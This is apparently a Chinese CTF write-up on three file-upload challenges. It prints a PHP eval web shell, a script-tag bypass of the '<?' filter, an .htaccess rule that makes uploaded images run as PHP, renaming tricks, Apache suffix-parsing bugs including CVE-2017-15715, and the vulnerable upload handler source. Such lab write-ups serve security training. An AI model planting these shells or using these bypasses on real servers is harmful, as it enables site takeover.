[GXYCTF 2019]BabyUpload
上传一个 <?php @eval($_POST['cmd']);?>
会被检测到<?
?
换一种方式
1 | <script language='php'> |
上传成功,但是不能上传带’ph’的文件,上传.htaccess文件将上传的.jpeg解析成.php
1 | <FilesMatch 'cmd'> //刚才上传的文件叫cmd.php |
蚁剑连接找flag即可, 或者cmd=show_source('/flag')
看一下index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43 <?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("后缀名不能有ph!");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
if(preg_match("/\<\?/i", $content)){
die("诶,别蒙我啊,这标志明显还是php啊");
}
else{
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
}
else{
die("上传类型也太露骨了吧!");
}
}
}
?>
[MoeCTF 2022]what are y0u uploading
上传一个文件试试 可恶的hacker!只能上传.png或.jpg或gif!
估计是上传允许的文件然后抓包修改
上传后修改后缀 文件上传成功!filename:cmd.jpg 我不想要这个特洛伊文件,给我一个f1ag.php 我就给你flag!
把文件名修改成'f1ag.php'
上传获得flagNSSCTF{955c9fbb-3d87-422e-806a-18601f5b9b1d}
[UUCTF 2022 新生赛]ez_upload
根据标签查了一下 apach 漏洞
apache 相关的解析漏洞有两个:
%0a (CVE-2017-15715)
未知后缀 test.php.xxx
首先尝试/x0a
但是还是被过滤了,可能也跟第一题一样检查了内容?
修改内容后还是不行,尝试下一个未知后缀漏洞 1.php.jp
上传成功文件存储在: upload/cmd.php.
尝试蚁剑连接
apech是从右向左解析文件后缀,但是为什么1.jp.php
能被解析成功,而1.php.jp 1.jp.php.us
不能被解析?
(查了一下)[https://blog.werner.wiki/file-resolution-vulnerability-apache/]
1 | 那么aaa.php.xxx为何没有被作为php代码执行呢?我猜是这样的,当然只是我的猜测,实在是找不到相关资料,只好猜了。 |
附上upload.php
1 | <?php |